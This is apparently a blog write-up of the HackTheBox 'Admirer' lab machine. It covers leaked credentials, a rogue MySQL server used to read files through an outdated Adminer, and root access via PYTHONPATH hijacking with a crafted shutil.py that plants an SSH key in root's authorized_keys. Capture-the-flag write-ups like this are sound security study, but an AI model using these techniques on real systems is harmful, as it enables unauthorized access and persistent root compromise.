HackTheBox - Admirer

Morten Hansen • January 30, 2022

Admirer

IP 10.10.10.187 NMAP

21/tcp    open     ftp          vsftpd 3.0.3
22/tcp    open     ssh          OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp    open     http         Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer

BROWSER Checking the /robots.txt mentioned in NMAP leads us to the directory admin-dir. Running gobuster against the directory leads to two files contacts.txt and credentials.txt. http://10.10.10.187/admin-dir/contacts.txt

The contacts.txt contained usernames and emails.

##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb

##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb

#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

The crecentials.txt contained

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

then going to ftp://10.10.10.187 and logging in with ftpuser and password %n?4Wz}R$tTF7 gives us a two files to download. dump.sql and html.tar.gz.

In the html-compressed folder there is a folder-structure with files. In the index.php file we can see the following credentials.

    servername = "localhost";
    $username = "waldo";
    $password = "]F7jLHw:*G>UPrTo}~A"d6b";
    $dbname = "admirerdb";

The folderstructe in the html-file reveals the folder utility_scripts, with some files in it. Gobuster against this folder with a seclists wordlist reveals the file adminer.php which is a mysql login solution.

After some googling it is obvious the version is outdated and vulnerable. https://paper.seebug.org/1113/

Downloading the rouge_server.py script from https://github.com/allyshka/Rogue-MySql-Server allows us to create a sql-server from our machine. We then connect to our sql-server from the adminer-page (http://admirer.htb/utility-scripts/adminer.php?server=10.10.16.6&username=waldo). This is done by entering our own IP in the server-field.

sudo netstat -tupln | grep 3306 shows us if our server is running, and ps aux | grep sql allows us to find the PID if we need to kill the service with sudo kill -9 PID. In the server.py-script we edit what file we want to read and restart the script with python2.

By reading at the http://admirer.htb/utility_scripts/info.php site we find out what the absolute path for apache is. We then use the script and insert '/var/www/html/index.php' as a file we want to read. Inside the index.php we find a username waldo and password &<h5b~yK3F#{PaPB&dA}{H>. This works with SSH and gives us access as the user Waldo.

We find two files (admin_tasks.sh and backup.py)in the /opt/scripts-folder that runs as root, but we can read. We can run the admin_tasks.sh file. The script is as follow:

#!/bin/bash
view_uptime()
{
    /usr/bin/uptime -p
}
view_users()
{
    /usr/bin/w
}
view_crontab()
{
    /usr/bin/crontab -l
}
backup_passwd()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}
backup_shadow()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}
backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}
# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;
        *) echo "Unknown option." >&2
    esac
    exit 0
fi
# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")
echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;
        *) echo "Unknown option." >&2
    esac
done
exit 0

We see that in order to run options 4-7 we need to run as root. We also see that option 6 runs the backup.py-script.

After som research we find out that Waldo has some escalated privilages, after using sudo -l we get.

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

This means we can set enviroments when running the sript. The content in backup.py was:

#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)

In order to escalate privilages we need to run admin_tasks.sh as root, and choose option 6. We then need to change the python path so that shutil that gets imported is a function that we create. I solved it with this steps.

 #file shutil.py
 def make_archive(x, y, z):
        import os #in order to run commands
        os.system("mkdir /root/.ssh") #to create the ssh-folder
        #import our pub-key into authorized_keys so that we can ssh in afterwards
        os.system("echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDjqFz8cYRIJmmhAGCEWGGvyUZdk3DRdw5uFkDHYXBCklDy/KDaNJSPpr/yc/DzdRsuDQIqE1jrrfqxZwztkSjIIg0THd/hrQ2WZh/sCE/H74CPHp0GUeB/HB6EOp8aHIHBecsK0Y1qiwiYGI5zgVeC01F3sqkHZSzHtyJRoqaHHipquwgQFYM6bprLpiiZnCk2ACw3V0bshs8J/032WUZ2cUWZNpBMlxwZXJ6OaZ4MF1abYISo4P35b5Pehza4Fx55LE+nEtc1m1kmnSqtVkPyB5f4Txv1D0nG2VH/sEpE6W4ern4ajH01p05JjUHw01mJObeGfVGoaPf5pCBSSNolENLbhzBBmnOaWAMfGJo88PP9YRuB6vc29Q95UFZEJX2+p26LAJFsphJ04w0YapAisBCtFp++ruRi0NvkBKSlI5WQoYdIIMLLRQp4WhKPkdUTEj3yjdflFalHnIEh0ryc8aVahBvVmBBGHLrEQKlyjHxDg2YDtGcZQEu6pm8a5XU= kali@kali' > /root/.ssh/authorized_keys") 

This file creates an authorized_keys file with out public key, which allows us to log in as root over ssh after it has run. * 3 - Run the admin_tasks.shas sudo with sudo PYTHONPATH=/tmp/opt/scripts/ ./admin_tasks.sh and we set the python-path to /tmp. Inside the tmp-folder we have saved out shutil.py script.

We are root!